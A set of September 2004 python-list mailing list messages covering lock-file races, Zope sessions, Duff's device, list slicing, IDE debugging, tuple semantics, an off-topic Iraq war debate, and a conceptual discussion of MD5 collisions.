On 30 Sep 2004, at 14:11, C Ginger wrote:

> I know the approach to creating a lock file has been around a long 
> time but there are certain weaknesses to it. There are a number of 
> race conditions in it. For instance if process A detects the directory 
> isn't there it will attempt to create it. During that same time 
> process B might also not find it there - since A hasn't completed its 
> create yet.

This was why I created a directory rather than a file since I thought 
this was supposed to be atomic.
>
> I think a better approach would be to use the shared memory option 
> (see man shmop). The idea here is that each invoked instance would get 
> back the same shared memory and use an appropriate atomic op to lock 
> the process. Of course doing this in pure Python might be a bit 
> difficult.

Thanks for all of the suggestions flooding in.

This all seems an unusual case of batteries not included.


Nigel King



From kyle at lakeofburningfire.org  Sun Sep  5 17:16:51 2004
From: kyle at lakeofburningfire.org (Kyle Yancey)
Date: Sun, 05 Sep 2004 21:16:51 GMT
Subject: Zope  2.7.2 win32 - Sessions not working
References: <bopvi0dba5cq35btc44ir6i96345333nb8@4ax.com>
	<EridnVnBleR9SK3cRVn-jA@giganews.com>
Message-ID: <me0nj05cct6hqht76p0i36c6kee067k3sr@4ax.com>

Sorry for not replying for so long. I've been busy.  I just gave up on
Zope sessions and used FSSession.  It is poorly documented, but at
least it works.  The Account page will redirect to the Login page if
no cookie is assigned.  The login page should always redirect to the
account page with an assigned cookie.  


From carribeiro at gmail.com  Fri Sep 24 10:58:42 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 24 Sep 2004 11:58:42 -0300
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
In-Reply-To: <itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
Message-ID: <864d3709040924075835fb3b0d@mail.gmail.com>

On Thu, 23 Sep 2004 17:53:16 -0700, Richard Hanson <me at privacy.net> wrote:
> (I've already thought of Doors... -- doors are more useful than
> windows, aren't they? ;-) )

"Traps" are even more useful sometimes ;-)

(...running for cover..)


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From yk.suse at bullier.org  Fri Sep  3 17:26:38 2004
From: yk.suse at bullier.org (Yann.K)
Date: Fri, 03 Sep 2004 23:26:38 +0200
Subject: open default MUA with a hyper link
References: <chalvm$1944$1@biggoron.nerim.net>
	<mailman.2850.1094246310.5135.python-list@python.org>
Message-ID: <chanie$19nn$1@biggoron.nerim.net>

Jp Calderone wrote:

> Yann.K wrote:
>    webbrowser.open("mailto:exarkun at divmod.com") gives me a mozilla
> browser and a mozilla compose window.  I don't know of an existing way
> to do better than that.
Yes i tried already that, but it isn't very nice: two window for one
required...

Regards.
-- 
Yann.K


From mauriceling at acm.org  Sun Sep 19 20:49:21 2004
From: mauriceling at acm.org (Maurice LING)
Date: Mon, 20 Sep 2004 00:49:21 GMT
Subject: python is going to die! =(
In-Reply-To: <mailman.3520.1095631846.5135.python-list@python.org>
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <414e290d$1@news.unimelb.edu.au>

Languages don't die, dying is a personified concept. Languages are just 
less use or more used.

Is latin dead? Think again, the term "doctor" is latin. All your medical 
doctors have MBBS (Medicus Baccalaureus, Bachelor of Surgery)...


From FBatista at uniFON.com.ar  Wed Sep 22 09:43:21 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Wed, 22 Sep 2004 10:43:21 -0300
Subject: Math errors in python
Message-ID: <A128D751272CD411BC9200508BC2194D053C79A7@escpl.tcp.com.ar>

[Richard Hanson]


#- I just dropped decimal.py from 2.4's Lib dir into 2.3.4's Lib dir.
#- Seems to work. Any gotchas with this route?

No. It's the way to go.

I'm preparing an installer for the module, but all it'll do is that (and
give you docs and the files to make the tests if you want).


#- By the way, I got decimal.py revision 1.24 from CVS several days ago
#- and noted a speedup of over an order of magnitude -- almost
#- twenty-five times faster with this simple snippet 
#- calculating a square
#- root to 500 decimal places. :-) 

We're working on that, :)

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040922/c8b9f194/attachment.html>

From roy at panix.com  Fri Sep 10 11:16:12 2004
From: roy at panix.com (Roy Smith)
Date: Fri, 10 Sep 2004 11:16:12 -0400
Subject: Is there no switch function in Python
References: <CR20d.46131$Vf.2380522@news000.worldonline.dk>
	<1Zb*VOguq@news.chiark.greenend.org.uk>
	<roy-03E598.09352710092004@reader1.panix.com>
	<87llfip5ep.fsf@sinken.local.csis.hku.hk>
Message-ID: <roy-CD7F41.11161210092004@reader1.panix.com>

Isaac To <iketo2 at netscape.net> wrote:
> C switch is much more flexible than one would expect.  It is not just
> a cheap replacement of a sequence of if-then-else.  E.g., in an
> exercise of "The C++ Programming Language" of Bjarne Stroustrup, you
> can see the following example code:
> 
>   void send(int *to, int *from, int count) {
>     int n = (count + 7) / 8;
>     switch (count % 8) {
>     case 0: do { *to++ = *from++;
>     case 7:      *to++ = *from++;
>     case 6:      *to++ = *from++;
>     case 5:      *to++ = *from++;
>     case 4:      *to++ = *from++;
>     case 3:      *to++ = *from++;
>     case 2:      *to++ = *from++;
>     case 1:      *to++ = *from++;
>       } while (--n > 0);
>     }
>   }

La-de-dah, Bjarne discovers loop unrolling.  You don't need a switch 
statement to unroll loops.

Hold on a second.  Cases 1 through 7 jump into the middle of the do 
loop!?  Pardon me while I barf.  I didn't even know that was legal.  
That's the kind of code that gives C++ a bad name.


From joh12005 at yahoo.fr  Fri Sep 10 09:49:24 2004
From: joh12005 at yahoo.fr (Joh)
Date: 10 Sep 2004 06:49:24 -0700
Subject: how to build simple FSM using generators ?
References: <63b5e209.0409081225.345ae973@posting.google.com>
	<4yV%c.26886$Z14.8936@news.indigo.ie>
Message-ID: <63b5e209.0409100549.7fd09887@posting.google.com>

Alan Kennedy <alanmk at hotmail.com> wrote in message news:<4yV%c.26886$Z14.8936 at news.indigo.ie>...
> [Joh]
> 
> Have you seen this old post of mine, which looks like it might be 
> relevant to you.
> 
> http://groups.google.com/groups?selm=3ED622CA.4B01E3C1%40hotmail.com

yes, just few days after this post, BTW it is a difficult thread to
follow, i've readed it 3 times and think i must still re-read to get
everything of it... but even i feel it helps me more than
developerworks one.

will you one day write the article / summary you were talking about ?

best,


From adalke at mindspring.com  Sun Sep 26 03:06:25 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sun, 26 Sep 2004 07:06:25 GMT
Subject: [OT] "Pre-announcement" of Python-based "computing
	appliance"project.
In-Reply-To: <mailman.3920.1096177284.5135.python-list@python.org>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com><du7d60bbhah.fsf@amadeus.cc.tut.fi><10l90qcihqrjba1@corp.supernews.com>	<du78yayby1a.fsf@mozart.cc.tut.fi>	<cj4ul0$nt5$1@sea.gmane.org>	<mailman.3916.1096160356.5135.python-list@python.org>	<oh7cl05ph81r8vd4ih33laqibri95qn5p9@4ax.com>
	<mailman.3920.1096177284.5135.python-list@python.org>
Message-ID: <RTt5d.10217$gG4.7808@newsread1.news.pas.earthlink.net>

> Richard Hanson wrote:
>> But, but... How can *QM* be the ultimate framework? -- it doesn't
>> include gravity (GR).

Stephen Waterbury wrote:
> Touche!  OK, modulo superstrings.  :)

There are many quantum mechanics models.  The original
one, the Schr?dinger equation, was extended to relativity
with the Klein-Gordon equation, thence refined to
quantum eletrodynamics (QED) to include the weak for
and quantum chromodynamics (QCD) to include the strong
force.

All of these are quantum mechanics, as is string
theory, *-branes, and many others, including many
known to be non-physical.  Superstrings is an attempt
to be a quantum theory that includes gravity.

The confusion you two had is that our current best
description of the universe is called the Standard
Model and it's often assumed that the Standard Model
is identical to being QM, as compared to only be *a*
quantum mechanical model.


>> Likewise, in QM it seems that a robot taking measurements is
>> sufficient to "collapse the wave function." Of course, you could also
>> argue that robots are people, too. ;-)

There was an interesting paper a month or two back,
forgot where, which showed how the length of time for
superposition was a function of temperature.  The
hotter it was the shorter the time, because there
were more photons interacting with the environment.

No active "taking measurements needed" -- only interaction
with the passive environment.  Though I didn't read
the article that closely.  I mostly looked at the
picture.

I also read something recently about a proposed
experiment that might distinguish between a couple
of the standard philosophical interpretations of
QM.  About all I recall is that the granddaughter
of one of the early 20th century physicists (Bohr?
Schr?dinger? Heisenberg?) was involved.


				Andrew
				dalke at dalkescientific.com


From aleaxit at yahoo.com  Thu Sep  2 03:13:55 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 2 Sep 2004 09:13:55 +0200
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com>
	<iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
	<m3n00aggxu.fsf@g2ctech.com>
	<unmZc.157756$UTP.69766@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <1gjg8cp.4sacl1aebe5oN%aleaxit@yahoo.com>

Dan Perl <dperl at rogers.com> wrote:

> My mistake.  You're right, and it's all because of the inheritance from
> 'object', which probably defines a default, empty, __init__.  I haven't made
> a habit of subclassing from 'object' yet and I see that I'll have to do
> that.  Thanks.

If you define several parent-less classes in a module, it may be simpler
to place at the module's start the assignment statement:

    __metaclass__ = type

This is equivalent to explicitly specifying object as the base class of
any otherwise parent-less class.


Alex


From jerf at jerf.org  Sat Sep 18 01:14:06 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Sat, 18 Sep 2004 05:14:06 GMT
Subject: PyYaml?
References: <2IO2d.1086$HH5.1025@trndny05>
Message-ID: <pan.2004.09.19.00.11.40.671123@jerf.org>

On Sat, 18 Sep 2004 04:20:14 +0000, Chris S. wrote:

> Is there any benefit to Pickle over YAML? Given that Pickle is insecure, 
> wouldn't it make more sense to support a secure serialization format, 
> one that's even readable to boot, such as YAML? 

Anything that can "pickle" will be insecure. It is the capabilities of
pickling, not the implementation, that is insecure.



From amk at amk.ca  Thu Sep  9 09:56:35 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Thu, 09 Sep 2004 08:56:35 -0500
Subject: Python doc experiment
Message-ID: <n7SdnZtMDYiO_N3cRVn-iw@speakeasy.net>

As a half-hour hack, I took a copy of the Python docs, stuck them in a
frameset, and added some JavaScript that displays a corresponding Wiki page
in another frame.  Feel free to play with http://pydoc.amk.ca/frame.html;
please record problems on the Wiki page at
http://pydoc.amk.ca/w/KnownProblems .

--amk




From nobody at hotmail.com  Tue Sep 28 19:33:48 2004
From: nobody at hotmail.com (Maboroshi)
Date: Tue, 28 Sep 2004 16:33:48 -0700
Subject: Python + strange == cool
In-Reply-To: <mailman.4045.1096414236.5135.python-list@python.org>
References: <10ljshapfl2nbd8@corp.supernews.com>
	<mailman.4045.1096414236.5135.python-list@python.org>
Message-ID: <10ljt8v9t63ceeb@corp.supernews.com>

Ok that makes sense

Cheers








Phil Frost wrote:
> The second number in the slice is the index of the last element to be
> included, exclusive. It is not an offset from the first index. Adding
> the "+" does nothing; that just means "positive". As the laws of
> mathematics dictate, "+n = n"; the unary + is just for symmetry with the
> unary '-'.
> 
> On Tue, Sep 28, 2004 at 04:21:12PM -0700, Maboroshi wrote:
> 
>>All fine and good <below>
>>
>>>>>x = ["list1", "list2", "list3", 4, 5, 6, 7]
>>>>>x[1:-1]
>>
>>['list2', 'list3', 4, 5, 6] # All good here
>>
>>this struck me as weird I had an idea to mess around with lists <below>
>>
>>>>>x[1:+1]
>>
>>[]
>>
>>now when I do this
>>
>>>>>x[1:+2]
>>
>>['list2']
>>
>>Does this puzzle anyone else
>>
>>of course I am a total novice so I have no idea what I am doing here if 
>>anyone has any ideas please reply


From john at grulic.org.ar  Tue Sep 21 16:18:26 2004
From: john at grulic.org.ar (John Lenton)
Date: Tue, 21 Sep 2004 17:18:26 -0300
Subject: class size
In-Reply-To: <IOKdnfK124XI5c3cRVn-pw@powergate.ca>
References: <cipr3e$q72$1@solaris.cc.vt.edu>
	<IOKdnfO124X26s3cRVn-pw@powergate.ca>
	<IOKdnfK124XI5c3cRVn-pw@powergate.ca>
Message-ID: <20040921201826.GC11675@grulic.org.ar>

On Tue, Sep 21, 2004 at 02:52:05PM -0400, Peter Hansen wrote:
> Peter Hansen wrote:
> >Discussing this issue quantitiatively is wrong.  The real
> >concern should be about things like coupling, coherency,
> >readability, and maintainability.  Learn about those concepts and
> 
> D'oh!  Brain fart... I meant "cohesion", not "coherency".
> I should have paid attention to my hesitation while typing
> that word...
> 
> (Of course, code should probably be coherent, too, but it's
> not typically seen as a concern... text files rarely break
> apart spontaneously. ;-)

actually, I think on of the 'code smells' should be coherence, in the
laser-is-coherent-light sense. Code has got to flow right.

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
If you find a solution and become attached to it, the solution may become
your next problem.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040921/9f08223a/attachment.sig>

From db3l at fitlinxx.com  Wed Sep 22 18:22:01 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 22 Sep 2004 18:22:01 -0400
Subject: python ides
References: <mailman.3639.1095771048.5135.python-list@python.org>
	<Qg04d.3086$Ec4.2542@trndny04>
	<1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com>
	<ur7oufegi.fsf@fitlinxx.com>
	<1gkj4c6.1xmd0xd1jdgzx9N%aleaxit@yahoo.com>
	<umzzif8mo.fsf@fitlinxx.com>
	<1gkj9oh.jxczua1nwfvogN%aleaxit@yahoo.com>
Message-ID: <uisa6eygm.fsf@fitlinxx.com>

aleaxit at yahoo.com (Alex Martelli) writes:

(...)
> > But of course that mechanism is just as useful even if you could start
> > your own application, since it lets you minimize the debugging
> > overhead until you actually reach the right point (which might be
> > after some unknown amount of runtime).
> 
> That's possible, too, though a debugger who's _only_ gonna catch
> exceptions might not have all that much overhead until an exception does
> happen.

It's not quite that good, but still somewhat flexible.  By importing
the stub module in your application, you're enabling it for debugging
from that point onwards.  If the Wing IDE is running at that point
it'll immediately connect and then run under control of the debugger.
It won't stop the application, just keep running at the point onwards.
If the IDE isn't available, then the application will listen for
subsequent attach requests from Wing at which point the debugging
control will begin.

But, like most Python debuggers, the actual debugging is handled by
the trace hooks, so once actually attached to the IDE, you will pay
some penalty (not sure how much), even if you only care about
exceptions.  Then again, a side benefit is that once attached you can
forceably interrupt the application at any moment.

So depending on that load, there can be an advantage to importing the
stub as late as possible (or as close to the debug point as possible)
and then just leaving the IDE running to service the connection at
that point.  The other advantage the controlled import gives you is
that with most current Python releases debugging multiple threads
doesn't work well (I think it was 2.4 that improved hooks for this),
so you can control which thread imports the stub and that becomes the
thread being debugged.

All in all, pretty impressive.  Ironically though, while this was the
key differentiator (well, that plus the source analysis - it was the
best IDE when I was looking at parsing the wxPython package for code
completion) I saw to the package, our use of TDD in our recent coding
has really ended up rarely needing much in the way of a debugger yet,
but it's nice to know what to buy when I need it.  (And 2.0 hits a
number of the visual issues I had, with a development team
predominently on Windows currently, so I'm enthusiastically following
the current beta).

-- David


From bockman at virgilio.it  Sat Sep 11 08:55:06 2004
From: bockman at virgilio.it (Francesco Bochicchio)
Date: Sat, 11 Sep 2004 12:55:06 GMT
Subject: if-else-then
References: <a2e43d1f.0409101534.3a0a5cfe@posting.google.com>
	<mailman.3180.1094859861.5135.python-list@python.org>
	<848b3711.0409110434.6db93979@posting.google.com>
Message-ID: <pan.2004.09.11.12.54.49.500710@virgilio.it>

On Sat, 11 Sep 2004 05:34:42 -0700, TuPLaD wrote:

> Thank you very much !
> 
> But i got one more question, i was googling in python sites, and i
> found a site where he he a code like this :
> 
> 
> if user type: n, no, nop, nope then print 'You canceled'
> else
> if user type: y, ye, yes, yep then print 'We are beginning'
> 
> 
> How do i do that ?
> 
Not much differently from what you have already written :-) 

user_string= raw_input("Tell me:")
if user_string in 'y', 'ye', 'yes', 'yep':
	print "We are beginning"
elif user_string in 'n', 'no', 'nop', 'nope':
	print "You canceled" 




From elbertlev at hotmail.com  Wed Sep 29 23:18:43 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 29 Sep 2004 20:18:43 -0700
Subject: annoying behavior
References: <9418be08.0409280856.9368ddf@posting.google.com>	<41599BD7.7040809@bellsouth.net>
	<mailman.4029.1096404065.5135.python-list@python.org>
	<653b7547.0409281915.5ff0d92e@posting.google.com>
	<9418be08.0409290318.7c81750c@posting.google.com>
	<653b7547.0409291137.6846793e@posting.google.com>
Message-ID: <9418be08.0409291918.63d4c20d@posting.google.com>

pmaupin at speakeasy.net (Patrick Maupin) wrote in message news:<653b7547.0409291137.6846793e at posting.google.com>...
> elbertlev at hotmail.com (Elbert Lev) wrote:
> 
> > Making interpreter 100% "bullet prove" is impossible, finding errors,
> > which can be found, not only possible, but also very commendable.
> > 
> > Isn't this obvious? 
> 
> Not yet, but once you submit a patch for the compiler which will do
> what you want (without slowing down imports tremendously for everybody
> else), I'm sure it will be such a thing of beauty that it will, in
> retrospect, be obvious, and you will be hailed by one and all as the
> man who finally added true error detection to Python.
> 
> > Let's stop wasting time on this discussion and continue discussing
> > decorators :)
> 
> I agree that this discussion is wasted on a man of your capabilities,
> but so is the discussion about decorators.  I'd rather see that patch.
> 
> Regards,
> Pat

I respect you too.

Regards.
Lev.


From rnichol_rrc at yahoo.com  Wed Sep  1 14:01:50 2004
From: rnichol_rrc at yahoo.com (Reid Nichol)
Date: Wed, 01 Sep 2004 13:01:50 -0500
Subject: negative stride list slices
In-Reply-To: <8a638f47.0409010941.7f1cbbad@posting.google.com>
References: <8a638f47.0409010941.7f1cbbad@posting.google.com>
Message-ID: <r7oZc.6653$MR2.32885@news1.mts.net>

David Abrahams wrote:
> Can anyone explain the logic behind the behavior of list slicing with
> negative strides?  For example:
> 
>   >>> print range(10)[:-3:-1]
>   [9,8]
> 
> I found this result very surprising, and would just like to see the
> rules written down somewhere.
> 
> Thanks,
> --
> Dave Abrahams
> Boost Consulting
> http://www.boost-consulting.com

http://www.python.org/doc/current/tut/node5.html#SECTION005120000000000000000


From mwilson at the-wire.com  Thu Sep  2 16:10:52 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Thu, 02 Sep 2004 16:10:52 -0400
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<0qKdnZXAHfyPyKrcRVn-sg@powergate.ca>
	<mailman.2783.1094152072.5135.python-list@python.org>
Message-ID: <M53NBls/KL8E089yn@the-wire.com>

In article <mailman.2783.1094152072.5135.python-list at python.org>,
Gandalf <gandalf at geochemsource.com> wrote:
>>Note that while .index() makes sense for some sequences,
>>such as strings and lists, it doesn't make sense for the
>>way in which tuples are "supposed to be used", which is
>>as collections of heterogeneous data and not usually as
>>simply read-only lists.
>
>Why it is not useful to have an index() method for collections of heterogeneous data?

   Since the data are heterogenous, they're interpreted
according to their positions in the tuple.  In a tuple of
name, address, city:

        ('Marlene Stewart Street', 'Lois Lane', 'Margaret Bay')

It makes no sense to exchange elements, or treat one like
another, no matter that they're all strings, and no matter
what you think they look like.  Just finding the value 'Lois
Lane' in the tuple doesn't tell you what 'Lois Lane' means.

   All of which is belied by our recent experience of rows
of database fields kicked off by a row of column labels:

        ('name', 'address', 'city')
        ('Marlene Stewart Street', 'Lois Lane', 'Margaret Bay')
        ('Cecil Rhodes', 'Frank Court', 'Saint John')

Then my first and only reaction is to turn the whole mess into a
list of dictionaries and forget about the list/tuple distinction
for the rest of the day.

        Regards.        Mel.


From dwall at fastmail.fm  Thu Sep  2 21:55:52 2004
From: dwall at fastmail.fm (David K. Wall)
Date: Fri, 03 Sep 2004 01:55:52 -0000
Subject: Xah Lee's Unixism
References: <41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com>
	<Xns9558ACB0EA0FFdkwwashere@216.168.3.30>
	<ct2fj0husp9caju36esc877vmkf7akr4j2@4ax.com>
Message-ID: <Xns9558DF193FE9Bdkwwashere@216.168.3.30>

Alan Balmer <albalmer at att.net> wrote:

> On Thu, 02 Sep 2004 20:58:34 -0000, "David K. Wall"
><dwall at fastmail.fm> wrote:
>>
>>Linus deliberately tried to pay attention to the POSIX standard
>>almost as soon as he realized that his terminal emulator project
>>was turning into an OS. 1991 isn't all that long ago, but I'm 
>>not sure I would refer to it as "recent" in this context.
>>
>>http://groups.google.com/groups?selm=1991Jul3.100050.9886%
40klaava.Helsinki.FI
> 
> I don't know that the "interest" he expresses in this post proves the
> point ;-) However, Linux was based on Minix, and I think Minix was
> POSIX.2 compliant. 

Well, I'm in no way a Linux or Minix expert, but I do have a copy of 
Linus' book "Just for Fun", about the creation of Linux. Just by chance, I 
happened to pick it up last night and read a chapter or two, and read that 
same usenet post. So I'm pretty sure that the project was Linux. He didn't 
actually get a copy at that time, because he found out it would cost money 
he didn't have, so he used (IIRC) some Sun manuals for reference. Just 
adding a data point....

I'll snip the stuff about POSIX.4, because I'm completely ignorant of what 
is actually *contained* in the POSIX standards. :-)


From tjreedy at udel.edu  Thu Sep 16 14:30:12 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 16 Sep 2004 14:30:12 -0400
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org><m3vfeg69xp.fsf@g2ctech.com>
	<2qq5adF133c5kU1@uni-berlin.de><m3isaf1xki.fsf@g2ctech.com><1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com><m3pt4nwa84.fsf@g2ctech.com><1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com><mailman.3388.1095291463.5135.python-list@python.org><1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com><IWf2d.33080$D7.2368@news-server.bigpond.net.au>
	<1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com>
Message-ID: <cicm3q$a6g$1@sea.gmane.org>


"Alex Martelli" <aleaxit at yahoo.com> wrote in message
> So I was wrong -- it's happening all right, but tends to be disguised
> (perhaps for marketing reasons).  Thanks for the info!

Also for political reasons.  The US has reactionaries, left and right, who 
reject the idea that all people have a right to participate in the global 
information economy.

Terry J.Reedy





From cbeck at mercury.bc.ca  Tue Sep 14 12:46:08 2004
From: cbeck at mercury.bc.ca (Coby Beck)
Date: Tue, 14 Sep 2004 16:46:08 GMT
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
	<Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>
	<ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet>
Message-ID: <kfF1d.15568$KU5.12456@edtnps89>


"Greg Menke" <gregm-news at toadmail.com> wrote in message
news:m3pt4qc57f.fsf at europa.pienet...
> Chuck Dillon <spam at nimblegen.com> writes:
>
> > However, to answer your question: How does regime change in Iraq help
> > avoid another 9/11...
> > 1) It removes one of the states that might consider sponsing
> > such a future attach.
>
> Wouldn't it have made more sense to invade Saudi Arabia?  Thats where
> the terrorist money and terrorist leadership is from.  Iraq is chump
> change on that account- heck, even Iran or Syria would've made a much
> better target on this basis.  Or are we such bullies that we'll pick
> the weakest kid to beat up to show how strong we are?

I think Iraq provided a tempting combination of circumstances.  It was an
easy military target, it saw an easy sell to the American public and the
American congress, it was a valuable target in terms of regional strategies
and it has very lucrative natural resources.  All the other justifications
are very transparent propoganda, and the furious debating (was there WMD,
wasn't there) and hand-ringing (should we have, shouldn't we have..) are a
part of the accidental genius of the American media's opinion construction
machine.

> > 2) It removes a state with the expertise of producing (not
> > developing) WMD that might be used in such an attack.  We've found no
> > WMD stockpiles but we *have* found proof that Iraq retained the
> > expertise to produce WMD in the future.  We still don't know if there
> > are stockpiles.
>
> I'm sure there are lots of countries that have the expertise & the
> will- how many countries should we invade before that approach starts
> looking like a bad idea?  I think we should also invade Pakistan right
> away- they have working nuclear weapons & real live terrorists, not
> just half-baked piles of rusty junk scattered around the country and
> half buried under a decade & a half of 3rd world style bureaucratic
> corruption & desert sand.

There are of course dozens of countries with these kinds of weapons.  And I
think it is extremely unlikely that Iraq's WMD programs will now be halted
under US control.  And it is equaly unlikely that UN inspectors will be
allowed back in as long as the US or a US backed gov't is in power there.
But of course that is acceptable for a client state.

> > 3) It demonstrates to other states in the region that they
> > could have a regime change in about a month's time if they allow
> > themselves to be in the position of being held accountable for any
> > future attack.
>
> Don't you mean "if they are ever placed on the Axis Of Evil?"

Indeed, it takes more than supporting terrorism.  As you pointed out, Saudi
Arabia and its ruling royal family has verified and direct financial and
operational connections to Al Qaeda and related Islamic extremist groups,
yet they are not in any immediate danger of US invasion.  Again it is much
more a question specific regional strategies, the "War on Terror" is just
the excuse to sell this violence to those of us "to squemish" to understand
the unpleasant realities of foriegn affairs.  ("You can't handle the
truth!")

> > 4) Look at a map of the middle east.  It provides us with a
> > base of operations in the center of the region.  We probably won't
> > have to ask for access to bases and airspace in future operations,
> > which hopefully will never have to happen.
>
> So now we're back to being an imperial power?  I thought we were in
> Iraq for humanitarian reasons- I guess I didn't get the memo.

Wars are never fought for humanitarian reasons.  This war, like all others,
is about economic positioning and power.  Believing that the US would spend
100's of billions of dollars just to "liberate" the population of a foreign
nation is laughable except for the fact that so many otherwise intelligent
people actually believe it.  Reason 4 above is the only one that can hold an
ounce of water.

> > 5) It provides us with a second (ref: Afghanistan) shot at
> > establishing a pseudo-democracy in the region.
>
> Don't you think it would be a good idea to practice this sort of thing
> before imposing it elsewhere?
>
>
> > 6) It underscores that 9/11 should go into the "bad idea"
> > category for future planners of Islamic extremist operations.
>
> Afganistan taught that.  Iraq teaches the Islamic world that we're
> crazy.

Iraq teaches the Islamic world that the US is indeed their biggest enemy and
lends credibility to the lunacy being preached by the likes of Bin Laden and
Al Zawqari.

> > You are being naive.  Complain as loud as you like but there is no
> > question that the ability and demonstrated willingness to defend ones
> > self is the best deterrent to ever having to do so.
> >
>
> So you're talking about a "preemptive defense"?

This is just standard American double-speak whereby a unilateral invasion of
a foriegn nation that *has not* attacked them is self-defense, and where the
delibrate targeting of civilians (as in Fallujah) is referred to as
liberation and where guerilla murderers attacking Nicaragua from another
country are "Freedom fighters" and people resisting an illegitimate foreign
occupying power in Iraq are "terrorists."

And where serious journalists swallow their government's line that foreign
affairs is about "good vs. evil"  Again it would be laughable except for its
apathetic acceptance and the horrible cost in human terms that the world
pays.

Us, good, them, evil?  No, the world is not so simplistic and Good vs Evil
is a false dichotomy.  There are very few truly good forces at play, it is
so much more about personal profit and power.  And definitley governments do
not generally place Good and Just above economic advantage.

The US invasion of Iraq is like every other unilateral invasion in human
history, it is about money and power.

-- 
Coby Beck
(remove #\Space "coby 101 @ big pond . com")




From jmlai at uci.edu  Sun Sep 12 23:02:43 2004
From: jmlai at uci.edu (Jason Lai)
Date: Sun, 12 Sep 2004 20:02:43 -0700
Subject: MD5 and SHA cracked/broken...
In-Reply-To: <7xacvuyjfn.fsf@ruckus.brouhaha.com>
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
	<slrncka03t.2a1q.kirk@eyegor.jobsluder.net>
	<7xacvuyjfn.fsf@ruckus.brouhaha.com>
Message-ID: <ci32kl$3lv$1@news.service.uci.edu>

Paul Rubin wrote:
> Kirk Job-Sluder <kirk at eyegor.jobsluder.net> writes:
> 
>>It should also be mentioned that "broken" in terms of Cryptography is a
>>bit different from how we think about computer security in general.
>>"Broken" in this case means that there exists a known algorithm that
>>makes it easier than a brute force attack to violate one or more of the
>>desired properties for a good hash algorithm.  It DOES NOT mean that a
>>practical exploit exists for MD5 that permits one to slip a trojan into
>>downloaded files or crack a password file.  There are easier ways to
>>plant a trojan than to create an identical MD5 hash, or crack a password
>>file than to try to break preimage resistance.  
> 
> 
> You don't need preimages to plant a trojan.  If you can create mere
> collisions, you can create two files, one with a trojan and one
> without a trojan, that have the same md5sum.  You publish the
> non-trojan one, people inspect it carefully and start using it, and
> download sites say that its md5sum should be so-and-so.  Now you can
> replace the non-trojan file with the trojan version and the md5sum
> will still verify.

Even if you find a collision, wouldn't it be highly likely that one 
version wouldn't be a usable program? I'd think that generating two 
